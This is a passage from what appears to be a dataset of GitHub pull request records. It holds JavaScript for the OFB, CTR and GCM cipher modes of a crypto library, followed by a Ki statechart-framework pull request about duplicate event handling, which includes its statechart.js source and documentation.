}\n    return;\n  }\n\n  // handle partial block\n  var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n  if(partialBytes > 0) {\n    partialBytes = this.blockSize - partialBytes;\n  }\n\n  // XOR input with output\n  this._partialOutput.clear();\n  for(var i = 0; i < this._ints; ++i) {\n    this._partialOutput.putInt32(input.getInt32() ^ this._outBlock[i]);\n  }\n\n  if(partialBytes > 0) {\n    // block still incomplete, restore input buffer\n    input.read -= this.blockSize;\n  } else {\n    // block complete, update input block\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = this._outBlock[i];\n    }\n  }\n\n  // skip any previous partial bytes\n  if(this._partialBytes > 0) {\n    this._partialOutput.getBytes(this._partialBytes);\n  }\n\n  if(partialBytes > 0 && !finish) {\n    output.putBytes(this._partialOutput.getBytes(\n      partialBytes - this._partialBytes));\n    this._partialBytes = partialBytes;\n    return true;\n  }\n\n  output.putBytes(this._partialOutput.getBytes(\n    inputLength - this._partialBytes));\n  this._partialBytes = 0;\n};\n\nmodes.ofb.prototype.decrypt = modes.ofb.prototype.encrypt;\n\n/** Counter (CTR) **/\n\nmodes.ctr = function(options) {\n  options = options || {};\n  this.name = 'CTR';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = null;\n  this._outBlock = new Array(this._ints);\n  this._partialOutput = forge.util.createBuffer();\n  this._partialBytes = 0;\n};\n\nmodes.ctr.prototype.start = function(options) {\n  if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  }\n  // use IV as first input\n  this._iv = transformIV(options.iv, this.blockSize);\n  this._inBlock = this._iv.slice(0);\n  if(options.counter) {\n    inc32(this._inBlock, options.counter);\n  }\n  this._partialBytes = 0;\n};\n\nmodes.ctr.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  var inputLength = input.length();\n  if(inputLength === 0) {\n    return true;\n  }\n\n  // encrypt block (CTR always uses encryption mode)\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output\n    for(var i = 0; i < this._ints; ++i) {\n      output.putInt32(input.getInt32() ^ this._outBlock[i]);\n    }\n  } else {\n    // handle partial block\n    var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n    if(partialBytes > 0) {\n      partialBytes = this.blockSize - partialBytes;\n    }\n\n    // XOR input with output\n    this._partialOutput.clear();\n    for(var i = 0; i < this._ints; ++i) {\n      this._partialOutput.putInt32(input.getInt32() ^ this._outBlock[i]);\n    }\n\n    if(partialBytes > 0) {\n      // block still incomplete, restore input buffer\n      input.read -= this.blockSize;\n    }\n\n    // skip any previous partial bytes\n    if(this._partialBytes > 0) {\n      this._partialOutput.getBytes(this._partialBytes);\n    }\n\n    if(partialBytes > 0 && !finish) {\n      output.putBytes(this._partialOutput.getBytes(\n        partialBytes - this._partialBytes));\n      this._partialBytes = partialBytes;\n      return true;\n    }\n\n    output.putBytes(this._partialOutput.getBytes(\n      inputLength - this._partialBytes));\n    this._partialBytes = 0;\n  }\n\n  // block complete, increment counter (input block)\n  inc32(this._inBlock);\n};\n\nmodes.ctr.prototype.decrypt = modes.ctr.prototype.encrypt;\n\n/** Galois/Counter Mode (GCM) **/\n\nmodes.gcm = function(options) {\n  options = options || {};\n  this.name = 'GCM';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = new Array(this._ints);\n  this._outBlock = new Array(this._ints);\n  this._partialOutput = forge.util.createBuffer();\n  this._partialBytes = 0;\n\n  // R is actually this value concatenated with 120 more zero bits, but\n  // we only XOR against R so the other zeros have no effect -- we just\n  // apply this value to the first integer in a block\n  this._R = 0xE1000000;\n};\n\nmodes.gcm.prototype.start = function(options) {\n  if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  }\n  // ensure IV is a byte buffer\n  var iv = forge.util.createBuffer(options.iv);\n\n  // no ciphered data processed yet\n  this._cipherLength = 0;\n\n  // default additional data is none\n  var additionalData;\n  if('additionalData' in options) {\n    additionalData = forge.util.createBuffer(options.additionalData);\n  } else {\n    additionalData = forge.util.createBuffer();\n  }\n\n  // default tag length is 128 bits\n  if('tagLength' in options) {\n    this._tagLength = options.tagLength;\n  } else {\n    this._tagLength = 128;\n  }\n\n  // if tag is given, ensure tag matches tag length\n  this._tag = null;\n  if(options.decrypt) {\n    // save tag to check later\n    this._tag = forge.util.createBuffer(options.tag).getBytes();\n    if(this._tag.length !== (this._tagLength / 8)) {\n      throw new Error('Authentication tag does not match tag length.');\n    }\n  }\n\n  // create tmp storage for hash calculation\n  this._hashBlock = new Array(this._ints);\n\n  // no tag generated yet\n  this.tag = null;\n\n  // generate hash subkey\n  // (apply block cipher to \"zero\" block)\n  this._hashSubkey = new Array(this._ints);\n  this.cipher.encrypt([0, 0, 0, 0], this._hashSubkey);\n\n  // generate table M\n  // use 4-bit tables (32 component decomposition of a 16 byte value)\n  // 8-bit tables take more space and are known to have security\n  // vulnerabilities (in native implementations)\n  this.componentBits = 4;\n  this._m = this.generateHashTable(this._hashSubkey, this.componentBits);\n\n  // Note: support IV length different from 96 bits? (only supporting\n  // 96 bits is recommended by NIST SP-800-38D)\n  // generate J_0\n  var ivLength = iv.length();\n  if(ivLength === 12) {\n    // 96-bit IV\n    this._j0 = [iv.getInt32(), iv.getInt32(), iv.getInt32(), 1];\n  } else {\n    // IV is NOT 96-bits\n    this._j0 = [0, 0, 0, 0];\n    while(iv.length() > 0) {\n      this._j0 = this.ghash(\n        this._hashSubkey, this._j0,\n        [iv.getInt32(), iv.getInt32(), iv.getInt32(), iv.getInt32()]);\n    }\n    this._j0 = this.ghash(\n      this._hashSubkey, this._j0, [0, 0].concat(from64To32(ivLength * 8)));\n  }\n\n  // generate ICB (initial counter block)\n  this._inBlock = this._j0.slice(0);\n  inc32(this._inBlock);\n  this._partialBytes = 0;\n\n  // consume authentication data\n  additionalData = forge.util.createBuffer(additionalData);\n  // save additional data length as a BE 64-bit number\n  this._aDataLength = from64To32(additionalData.length() * 8);\n  // pad additional data to 128 bit (16 byte) block size\n  var overflow = additionalData.length() % this.blockSize;\n  if(overflow) {\n    additionalData.fillWithByte(0, this.blockSize - overflow);\n  }\n  this._s = [0, 0, 0, 0];\n  while(additionalData.length() > 0) {\n    this._s = this.ghash(this._hashSubkey, this._s, [\n      additionalData.getInt32(),\n      additionalData.getInt32(),\n      additionalData.getInt32(),\n      additionalData.getInt32()\n    ]);\n  }\n};\n\nmodes.gcm.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  var inputLength = input.length();\n  if(inputLength === 0) {\n    return true;\n  }\n\n  // encrypt block\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output\n    for(var i = 0; i < this._ints; ++i) {\n      output.putInt32(this._outBlock[i] ^= input.getInt32());\n    }\n    this._cipherLength += this.blockSize;\n  } else {\n    // handle partial block\n    var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n    if(partialBytes > 0) {\n      partialBytes = this.blockSize - partialBytes;\n    }\n\n    // XOR input with output\n    this._partialOutput.clear();\n    for(var i = 0; i < this._ints; ++i) {\n      this._partialOutput.putInt32(input.getInt32() ^ this._outBlock[i]);\n    }\n\n    if(partialBytes <= 0 || finish) {\n      // handle overflow prior to hashing\n      if(finish) {\n        // get block overflow\n        var overflow = inputLength % this.blockSize;\n        this._cipherLength += overflow;\n        // truncate for hash function\n        this._partialOutput.truncate(this.blockSize - overflow);\n      } else {\n        this._cipherLength += this.blockSize;\n      }\n\n      // get output block for hashing\n      for(var i = 0; i < this._ints; ++i) {\n        this._outBlock[i] = this._partialOutput.getInt32();\n      }\n      this._partialOutput.read -= this.blockSize;\n    }\n\n    // skip any previous partial bytes\n    if(this._partialBytes > 0) {\n      this._partialOutput.getBytes(this._partialBytes);\n    }\n\n    if(partialBytes > 0 && !finish) {\n      // block still incomplete, restore input buffer, get partial output,\n      // and return early\n      input.read -= this.blockSize;\n      output.putBytes(this._partialOutput.getBytes(\n        partialBytes - this._partialBytes));\n      this._partialBytes = partialBytes;\n      return true;\n    }\n\n    output.putBytes(this._partialOutput.getBytes(\n      inputLength - this._partialBytes));\n    this._partialBytes = 0;\n  }\n\n  // update hash block S\n  this._s = this.ghash(this._hashSubkey, this._s, this._outBlock);\n\n  // increment counter (input block)\n  inc32(this._inBlock);\n};\n\nmodes.gcm.prototype.decrypt = function(input, output, finish) {\n  // not enough input to decrypt\n  var inputLength = input.length();\n  if(inputLength < this.blockSize && !(finish && inputLength > 0)) {\n    return true;\n  }\n\n  // encrypt block (GCM always uses encryption mode)\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // increment counter (input block)\n  inc32(this._inBlock);\n\n  // update hash block S\n  this._hashBlock[0] = input.getInt32();\n  this._hashBlock[1] = input.getInt32();\n  this._hashBlock[2] = input.getInt32();\n  this._hashBlock[3] = input.getInt32();\n  this._s = this.ghash(this._hashSubkey, this._s, this._hashBlock);\n\n  // XOR hash input with output\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._outBlock[i] ^ this._hashBlock[i]);\n  }\n\n  // increment cipher data length\n  if(inputLength < this.blockSize) {\n    this._cipherLength += inputLength % this.blockSize;\n  } else {\n    this._cipherLength += this.blockSize;\n  }\n};\n\nmodes.gcm.prototype.afterFinish = function(output, options) {\n  var rval = true;\n\n  // handle overflow\n  if(options.decrypt && options.overflow) {\n    output.truncate(this.blockSize - options.overflow);\n  }\n\n  // handle authentication tag\n  this.tag = forge.util.createBuffer();\n\n  // concatenate additional data length with cipher length\n  var lengths = this._aDataLength.concat(from64To32(this._cipherLength * 8));\n\n  // include lengths in hash\n  this._s = this.ghash(this._hashSubkey, this._s, lengths);\n\n  // do GCTR(J_0, S)\n  var tag = [];\n  this.cipher.encrypt(this._j0, tag);\n  for(var i = 0; i < this._ints; ++i) {\n    this.tag.putInt32(this._s[i] ^ tag[i]);\n  }\n\n  // trim tag to length\n  this.tag.truncate(this.tag.length() % (this._tagLength / 8));\n\n  // check authentication tag\n  if(options.decrypt && this.tag.bytes() !== this._tag) {\n    rval = false;\n  }\n\n  return rval;\n};\n\n/**\n * See NIST SP-800-38D 6.3 (Algorithm 1). This function performs Galois\n * field multiplication. The field, GF(2^128), is defined by the polynomial:\n *\n * x^128 + x^7 + x^2 + x + 1\n *\n * Which is represented in little-endian binary form as: 11100001 (0xe1). When\n * the value of a coefficient is 1, a bit is set. The value R, is the\n * concatenation of this value and 120 zero bits, yielding a 128-bit value\n * which matches the block size.\n *\n * This function will multiply two elements (vectors of bytes), X and Y, in\n * the field GF(2^128). The result is initialized to zero. For each bit of\n * X (out of 128), x_i, if x_i is set, then the result is multiplied (XOR'd)\n * by the current value of Y. For each bit, the value of Y will be raised by\n * a power of x (multiplied by the polynomial x). This can be achieved by\n * shifting Y once to the right. If the current value of Y, prior to being\n * multiplied by x, has 0 as its LSB, then it is a 127th degree polynomial.\n * Otherwise, we must divide by R after shifting to find the remainder.\n *\n * @param x the first block to multiply by the second.\n * @param y the second block to multiply by the first.\n *\n * @return the block result of the multiplication.\n */\nmodes.gcm.prototype.multiply = function(x, y) {\n  var z_i = [0, 0, 0, 0];\n  var v_i = y.slice(0);\n\n  // calculate Z_128 (block has 128 bits)\n  for(var i = 0; i < 128; ++i) {\n    // if x_i is 0, Z_{i+1} = Z_i (unchanged)\n    // else Z_{i+1} = Z_i ^ V_i\n    // get x_i by finding 32-bit int position, then left shift 1 by remainder\n    var x_i = x[(i / 32) | 0] & (1 << (31 - i % 32));\n    if(x_i) {\n      z_i[0] ^= v_i[0];\n      z_i[1] ^= v_i[1];\n      z_i[2] ^= v_i[2];\n      z_i[3] ^= v_i[3];\n    }\n\n    // if LSB(V_i) is 1, V_i = V_i >> 1\n    // else V_i = (V_i >> 1) ^ R\n    this.pow(v_i, v_i);\n  }\n\n  return z_i;\n};\n\nmodes.gcm.prototype.pow = function(x, out) {\n  // if LSB(x) is 1, x = x >>> 1\n  // else x = (x >>> 1) ^ R\n  var lsb = x[3] & 1;\n\n  // always do x >>> 1:\n  // starting with the rightmost integer, shift each integer to the right\n  // one bit, pulling in the bit from the integer to the left as its top\n  // most bit (do this for the last 3 integers)\n  for(var i = 3; i > 0; --i) {\n    out[i] = (x[i] >>> 1) | ((x[i - 1] & 1) << 31);\n  }\n  // shift the first integer normally\n  out[0] = x[0] >>> 1;\n\n  // if lsb was not set, then polynomial had a degree of 127 and doesn't\n  // need to divided; otherwise, XOR with R to find the remainder; we only\n  // need to XOR the first integer since R technically ends w/120 zero bits\n  if(lsb) {\n    out[0] ^= this._R;\n  }\n};\n\nmodes.gcm.prototype.tableMultiply = function(x) {\n  // assumes 4-bit tables are used\n  var z = [0, 0, 0, 0];\n  for(var i = 0; i < 32; ++i) {\n    var idx = (i / 8) | 0;\n    var x_i = (x[idx] >>> ((7 - (i % 8)) * 4)) & 0xF;\n    var ah = this._m[i][x_i];\n    z[0] ^= ah[0];\n    z[1] ^= ah[1];\n    z[2] ^= ah[2];\n    z[3] ^= ah[3];\n  }\n  return z;\n};\n\n/**\n * A continuing version of the GHASH algorithm that operates on a single\n * block. The hash block, last hash value (Ym) and the new block to hash\n * are given.\n *\n * @param h the hash block.\n * @param y the previous value for Ym, use [0, 0, 0, 0] for a new hash.\n * @param x the block to hash.\n *\n * @return the hashed value (Ym).\n */\nmodes.gcm.prototype.ghash = function(h, y, x) {\n  y[0] ^= x[0];\n  y[1] ^= x[1];\n  y[2] ^= x[2];\n  y[3] ^= x[3];\n  return this.tableMultiply(y);\n  //return this.multiply(y, h);\n};\n\n/**\n * Precomputes a table for multiplying against the hash subkey. This\n * mechanism provides a substantial speed increase over multiplication\n * performed without a table. The table-based multiplication this table is\n * for solves X * H by multiplying each component of X by H and then\n * composing the results together using XOR.\n *\n * This function can be used to generate tables with different bit sizes\n * for the components, however, this implementation assumes there are\n * 32 components of X (which is a 16 byte vector), therefore each component\n * takes 4-bits (so the table is constructed with bits=4).\n *\n * @param h the hash subkey.\n * @param bits the bit size for a component.\n */\nmodes.gcm.prototype.generateHashTable = function(h, bits) {\n  // TODO: There are further optimizations that would use only the\n  // first table M_0 (or some variant) along with a remainder table;\n  // this can be explored in the future\n  var multiplier = 8 / bits;\n  var perInt = 4 * multiplier;\n  var size = 16 * multiplier;\n  var m = new Array(size);\n  for(var i = 0; i < size; ++i) {\n    var tmp = [0, 0, 0, 0];\n    var idx = (i / perInt) | 0;\n    var shft = ((perInt - 1 - (i % perInt)) * bits);\n    tmp[idx] = (1 << (bits - 1)) << shft;\n    m[i] = this.generateSubHashTable(this.multiply(tmp, h), bits);\n  }\n  return m;\n};\n\n/**\n * Generates a table for multiplying against the hash subkey for one\n * particular component (out of all possible component values).\n *\n * @param mid the pre-multiplied value for the middle key of the table.\n * @param bits the bit size for a component.\n */\nmodes.gcm.prototype.generateSubHashTable = function(mid, bits) {\n  // compute the table quickly by minimizing the number of\n  // POW operations -- they only need to be performed for powers of 2,\n  // all other entries can be composed from those powers using XOR\n  var size = 1 << bits;\n  var half = size >>> 1;\n  var m = new Array(size);\n  m[half] = mid.slice(0);\n  var i = half >>> 1;\n  while(i > 0) {\n    // raise m0[2 * i] and store in m0[i]\n    this.pow(m[2 * i], m[i] = []);\n    i >>= 1;\n  }\n  i = 2;\n  while(i < half) {\n    for(var j = 1; j < i; ++j) {\n      var m_i = m[i];\n      var m_j = m[j];\n      m[i + j] = [\n        m_i[0] ^ m_j[0],\n        m_i[1] ^ m_j[1],\n        m_i[2] ^ m_j[2],\n        m_i[3] ^ m_j[3]\n      ];\n    }\n    i *= 2;\n  }\n  m[0] = [0, 0, 0, 0];\n  /* Note: We could avoid storing these by doing composition during multiply\n  calculate top half using composition by speed is preferred. */\n  for(i = half + 1; i < size; ++i) {\n    var c = m[i ^ half];\n    m[i] = [mid[0] ^ c[0], mid[1] ^ c[1], mid[2] ^ c[2], mid[3] ^ c[3]];\n  }\n  return m;\n};\n\n/** Utility functions */\n\nfunction transformIV(iv, blockSize) {\n  if(typeof iv === 'string') {\n    // convert iv string into byte buffer\n    iv = forge.util.createBuffer(iv);\n  }\n\n  if(forge.util.isArray(iv) && iv.length > 4) {\n    // convert iv byte array into byte buffer\n    var tmp = iv;\n    iv = forge.util.createBuffer();\n    for(var i = 0; i < tmp.length; ++i) {\n      iv.putByte(tmp[i]);\n    }\n  }\n\n  if(iv.length() < blockSize) {\n    throw new Error(\n      'Invalid IV length; got ' + iv.length() +\n      ' bytes and expected ' + blockSize + ' bytes.');\n  }\n\n  if(!forge.util.isArray(iv)) {\n    // convert iv byte buffer into 32-bit integer array\n    var ints = [];\n    var blocks = blockSize / 4;\n    for(var i = 0; i < blocks; ++i) {\n      ints.push(iv.getInt32());\n    }\n    iv = ints;\n  }\n\n  return iv;\n}\n\nfunction inc32(block, count) {\n  // increment last 32 bits of block only\n  block[block.length - 1] = (block[block.length - 1] + (count || 1)) & 0xFFFFFFFF;\n}\n\nfunction from64To32(num) {\n  // convert 64-bit number to two BE Int32s\n  return [(num / 0x100000000) | 0, num & 0xFFFFFFFF];\n}\n"}}
{"repo": "FrozenCanuck/Ki", "pr_number": 25, "title": "Event handlers in states with concurrent substates get triggered multiple times", "state": "closed", "merged_at": null, "additions": 25, "deletions": 4, "files_changed": ["frameworks/foundation/system/statechart.js", "frameworks/foundation/tests/event_handling/basic/with_concurrent_states.js"], "files_before": {"frameworks/foundation/system/statechart.js": "// ==========================================================================\n// Project:   Ki - A Statechart Framework for SproutCore\n// License:   Licensed under MIT license (see license.js)\n// ==========================================================================\n\n/*globals Ki */\n\nsc_require('system/state');\n\n/**\n  The startchart manager mixin allows an object to be a statechart. By becoming a statechart, the\n  object can then be manage a set of its own states.\n  \n  This implemention of the statechart manager closely follows the concepts stated in D. Harel's \n  original paper \"Statecharts: A Visual Formalism For Complex Systems\" \n  (www.wisdom.weizmann.ac.il/~harel/papers/Statecharts.pdf). \n  \n  The statechart allows for complex state heircharies by nesting states within states, and \n  allows for state orthogonality based on the use of concurrent states.\n  \n  At minimum, a statechart must have one state: The root state. All other states in the statechart\n  are a decendents (substates) of the root state.\n  \n  The following example shows how states are nested within a statechart:\n  \n    {{{\n    \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n      \n        rootState: Ki.State.design({\n      \n          initialSubstate: 'stateA',\n        \n          stateA: Ki.State.design({\n            // ... can continue to nest further states\n          }),\n        \n          stateB: Ki.State.design({\n            // ... can continue to nest further states\n          })\n        })\n      \n      })\n    \n    }}}\n  \n  Note how in the example above, the root state as an explicit initial substate to enter into. If no\n  initial substate is provided, then the statechart will default to the the state's first substate.\n  \n  You can also defined states without explicitly defining the root state. To do so, simply create properties\n  on your object that represents states. Upon initialization, a root state will be constructed automatically\n  by the mixin and make the states on the object substates of the root state. As an example:\n  \n    {{{\n  \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n    \n        initialState: 'stateA',\n      \n        stateA: Ki.State.design({\n          // ... can continue to nest further states\n        }),\n      \n        stateB: Ki.State.design({\n          // ... can continue to nest further states\n        })\n    \n      })\n  \n    }}} \n  \n  If you liked to specify a class that should be used as the root state but using the above method to defined\n  states, you can set the rootStateExample property with a class that extends from Ki.State. If the \n  rootStateExaple property is not explicitly assigned the then default class used will be Ki.State.\n  \n  To provide your statechart with orthogonality, you use concurrent states. If you use concurrent states,\n  then your statechart will have multiple current states. That is because each concurrent state represents an\n  independent state structure from other concurrent states. The following example shows how to provide your\n  statechart with concurrent states:\n  \n    {{{\n    \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n      \n        rootState: Ki.State.design({\n      \n          substatesAreConcurrent: YES,\n        \n          stateA: Ki.State.design({\n            // ... can continue to nest further states\n          }),\n        \n          stateB: Ki.State.design({\n            // ... can continue to nest further states\n          })\n        })\n      \n      })\n    \n    }}}\n  \n  Above, to indicate that a state's substates are concurrent, you just have to set the substatesAreConcurrent to \n  YES. Once done, then stateA and stateB will be independent of each other and each will manage their\n  own current substates. The root state will then have more then one current substate.\n  \n  To define concurrent states directly on the object without explicitly defining a root, you can do the \n  following:\n  \n    {{{\n\n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n  \n        statesAreConcurrent: YES,\n    \n        stateA: Ki.State.design({\n          // ... can continue to nest further states\n        }),\n    \n        stateB: Ki.State.design({\n          // ... can continue to nest further states\n        })\n  \n      })\n\n    }}}\n  \n  Remember that a startchart can have a mixture of nested and concurrent states in order for you to \n  create as complex of statecharts that suite your needs. Here is an example of a mixed state structure:\n  \n    {{{\n    \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n      \n        rootState: Ki.State.design({\n      \n          initialSubstate: 'stateA',\n        \n          stateA: Ki.State.design({\n          \n            substatesAreConcurrent: YES,\n          \n            stateM: Ki.State.design({ ... })\n            stateN: Ki.State.design({ ... })\n            stateO: Ki.State.design({ ... })\n          \n          }),\n        \n          stateB: Ki.State.design({\n          \n            initialSubstate: 'stateX',\n          \n            stateX: Ki.State.design({ ... })\n            stateY: Ki.State.desgin({ ... })\n          \n          })\n        })\n      \n      })\n    \n    }}}\n  \n  Depending on your needs, a statechart can have lots of states, which can become hard to manage all within\n  one file. To modularize your states and make them easier to manage and maintain, you can plug-in states\n  into other states. Let's say we are using the statechart in the last example above, and all the code is \n  within one file. We could update the code and split the logic across two or more files like so:\n  \n    {{{\n      ---- state_a.js\n  \n      MyApp.StateA = Ki.State.extend({\n    \n        substatesAreConcurrent: YES,\n    \n        stateM: Ki.State.design({ ... })\n        stateN: Ki.State.design({ ... })\n        stateO: Ki.State.design({ ... })\n    \n      });\n    \n      ---- state_b.js\n    \n      MyApp.StateB = Ki.State.extend({\n    \n        substatesAreConcurrent: YES,\n    \n        stateM: Ki.State.design({ ... })\n        stateN: Ki.State.design({ ... })\n        stateO: Ki.State.design({ ... })\n    \n      });\n    \n      ---- statechart.js\n    \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n    \n        rootState: Ki.State.design({\n    \n          initialSubstate: 'stateA',\n      \n          stateA: Ki.State.plugin('MyApp.StateA'),\n      \n          stateB: Ki.State.plugin('MyApp.StateB')\n        \n        })\n    \n      })\n  \n    }}}\n    \n  Using state plug-in functionality is optional. If you use the plug-in feature you can break up your statechart\n  into as many files as you see fit.\n\n*/\n\nKi.StatechartManager = {\n  \n  // Walk like a duck\n  isResponderContext: YES,\n  \n  // Walk like a duck\n  isStatechart: YES,\n  \n  /**\n    Indicates if this statechart has been initialized\n\n    @property {Boolean}\n  */\n  statechartIsInitialized: NO,\n  \n  /**\n    The root state of this statechart. All statecharts must have a root state.\n    \n    If this property is left unassigned then when the statechart is initialized\n    it will used the rootStateExample, initialState, and statesAreConcurrent\n    properties to construct a root state.\n    \n    @see #rootStateExample\n    @see #initialState\n    @see #statesAreConcurrent\n    \n    @property {Ki.State}\n  */\n  rootState: null,\n  \n  /** \n    Represents the class used to construct a class that will be the root state for\n    this statechart. The class assigned must derive from Ki.State. \n    \n    This property will only be used if the rootState property is not assigned.\n  \n    @see #rootState\n  \n    @property {Ki.State}\n  */\n  rootStateExample: Ki.State,\n  \n  /** \n    Indicates what state should be the intiail state of this statechart. The value\n    assigned must be the name of a property on this object that represents a state.\n    As well, the statesAreConcurrent must be set to NO.\n    \n    This property will only be used if the rootState property is not assigned.\n  \n    @see #rootState\n  \n    @property {String} \n  */\n  initialState: null,\n  \n  /** \n    Indicates if properties on this object representing states are concurrent to each other.\n    If YES then they are concurrent, otherwise they are not. If the YES, then the\n    initialState property must not be assigned.\n    \n    This property will only be used if the rootState property is not assigned.\n  \n    @see #rootState\n  \n    @property {Boolean}\n  */\n  statesAreConcurrent: NO,\n  \n  /** \n    Indicates whether to use a monitor to monitor that statechart's activities. If true then\n    the monitor will be active, otherwise the monitor will not be used. Useful for debugging\n    purposes.\n    \n    @property {Boolean}\n  */\n  monitorIsActive: NO,\n  \n  /**\n    A statechart monitor that can be used to monitor this statechart. Useful for debugging purposes.\n    A monitor will only be used if monitorIsActive is true.\n    \n    @property {Ki.StatechartMonitor}\n  */\n  monitor: null,\n  \n  /**\n    Used to specify what property (key) on the statechart should be used as the trace property. By\n    default the property is 'trace'.\n\n    @property {String}\n  */\n  statechartTraceKey: 'trace',\n\n  /**\n    Indicates whether to trace the statecharts activities. If true then the statechart will output\n    its activites to the browser's JS console. Useful for debugging purposes.\n\n    @see #statechartTraceKey\n\n    @property {Boolean}\n  */\n  trace: NO,\n  \n  /**\n    Used to specify what property (key) on the statechart should be used as the owner property. By\n    default the property is 'owner'.\n\n    @property {String}\n  */\n  statechartOwnerKey: 'owner',\n\n  /**\n    Sets who the owner is of this statechart. If null then the owner is this object otherwise\n    the owner is the assigned object. \n\n    @see #statechartOwnerKey\n\n    @property {SC.Object}\n  */\n  owner: null,\n\n  /** \n    Indicates if the statechart should be automatically initialized by this\n    object after it has been created. If YES then initStatechart will be\n    called automatically, otherwise it will not.\n  \n    @property {Boolean}\n  */\n  autoInitStatechart: YES,\n  \n  /**\n    If yes, any warning messages produced by the statechart or any of its states will\n    not be logged, otherwise all warning messages will be logged. \n    \n    While designing and debugging your statechart, it's best to keep this value false.\n    In production you can then suppress the warning messages.\n    \n    @property {Boolean}\n  */\n  suppressStatechartWarnings: NO,\n  \n  initMixin: function() {\n    if (this.get('autoInitStatechart')) {\n      this.initStatechart();\n    }\n  },\n  \n  destroyMixin: function() {\n    var root = this.get('rootState'),\n        traceKey = this.get('statechartTraceKey');\n\n    this.removeObserver(traceKey, this, '_statechartTraceDidChange');\n\n    root.destroy();\n    this.set('rootState', null);\n  },\n\n  /**\n    Initializes the statechart. By initializing the statechart, it will create all the states and register\n    them with the statechart. Once complete, the statechart can be used to go to states and send events to.\n  */\n  initStatechart: function() {\n    if (this.get('statechartIsInitialized')) return;\n    \n    this._gotoStateLocked = NO;\n    this._sendEventLocked = NO;\n    this._pendingStateTransitions = [];\n    this._pendingSentEvents = [];\n    \n    this.sendAction = this.sendEvent;\n    \n    if (this.get('monitorIsActive')) {\n      this.set('monitor', Ki.StatechartMonitor.create());\n    }\n\n    var traceKey = this.get('statechartTraceKey');\n\n    this.addObserver(traceKey, this, '_statechartTraceDidChange');\n    this._statechartTraceDidChange();\n\n    var trace = this.get('allowTracing'),\n        rootState = this.get('rootState'),\n        msg;\n    \n    if (trace) this.statechartLogTrace(\"BEGIN initialize statechart\");\n    \n    // If no root state was explicitly defined then try to construct\n    // a root state class\n    if (!rootState) {\n      rootState = this._constructRootStateClass();\n    }\n    else if (SC.typeOf(rootState) === SC.T_FUNCTION && rootState.statePlugin) {\n      rootState = rootState.apply(this);\n    }\n    \n    if (!(SC.kindOf(rootState, Ki.State) && rootState.isClass)) {\n      msg = \"Unable to initialize statechart. Root state must be a state class\";\n      this.statechartLogError(msg);\n      throw msg;\n    }\n    \n    rootState = this.createRootState(rootState, { \n      statechart: this, \n      name: Ki.ROOT_STATE_NAME \n    });\n    \n    this.set('rootState', rootState);\n    rootState.initState();\n    \n    if (SC.kindOf(rootState.get('initialSubstate'), Ki.EmptyState)) {\n      msg = \"Unable to initialize statechart. Root state must have an initial substate explicilty defined\";\n      this.statechartLogError(msg);\n      throw msg;\n    }\n    \n    if (!SC.empty(this.get('initialState'))) {\n      var key = 'initialState';\n      this.set(key, rootState.get(this.get(key)));\n    } \n    \n    this.set('statechartIsInitialized', YES);\n    this.gotoState(rootState);\n    \n    if (trace) this.statechartLogTrace(\"END initialize statechart\");\n  },\n  \n  /**\n    Will create a root state for the statechart\n  */\n  createRootState: function(state, attrs) {\n    if (!attrs) attrs = {};\n    state = state.create(attrs);\n    return state;\n  },\n  \n  /**\n    Returns an array of all the current states for this statechart\n    \n    @returns {Array} the current states\n  */\n  currentStates: function() {\n    return this.getPath('rootState.currentSubstates');\n  }.property().cacheable(),\n  \n  /**\n    Returns the first current state for this statechart. \n    \n    @return {Ki.State}\n  */\n  firstCurrentState: function() {\n    var cs = this.get('currentStates');\n    return cs ? cs.objectAt(0) : null;\n  }.property('currentStates').cacheable(),\n  \n  /**\n    Returns the count of the current states for this statechart\n    \n    @returns {Number} the count \n  */\n  currentStateCount: function() {\n    return this.getPath('currentStates.length');\n  }.property('currentStates').cacheable(),\n  \n  /**\n    Checks if a given state is a current state of this statechart. \n    \n    @param state {State} the state to check\n    @returns {Boolean} true if the state is a current state, otherwise fals is returned\n  */\n  stateIsCurrentState: function(state) {\n    return this.get('rootState').stateIsCurrentSubstate(state);\n  },\n  \n  /**\n    Checks if the given value represents a state is this statechart\n    \n    @param value {State|String} either a state object or the name of a state\n    @returns {Boolean} true if the state does belong ot the statechart, otherwise false is returned\n  */\n  doesContainState: function(value) {\n    return !SC.none(this.getState(value));\n  },\n  \n  /**\n    Gets a state from the statechart that matches the given value\n    \n    @param value {State|String} either a state object of the name of a state\n    @returns {State} if a match then the matching state is returned, otherwise null is returned \n  */\n  getState: function(value) {\n    return this.get('rootState').getSubstate(value);\n  },\n  \n  /**\n    When called, the statechart will proceed with making state transitions in the statechart starting from \n    a current state that meet the statechart conditions. When complete, some or all of the statechart's \n    current states will be changed, and all states that were part of the transition process will either \n    be exited or entered in a specific order.\n    \n    The state that is given to go to will not necessarily be a current state when the state transition process\n    is complete. The final state or states are dependent on factors such an initial substates, concurrent \n    states, and history states.\n    \n    Because the statechart can have one or more current states, it may be necessary to indicate what current state\n    to start from. If no current state to start from is provided, then the statechart will default to using\n    the first current state that it has; depending of the make up of the statechart (no concurrent state vs.\n    with 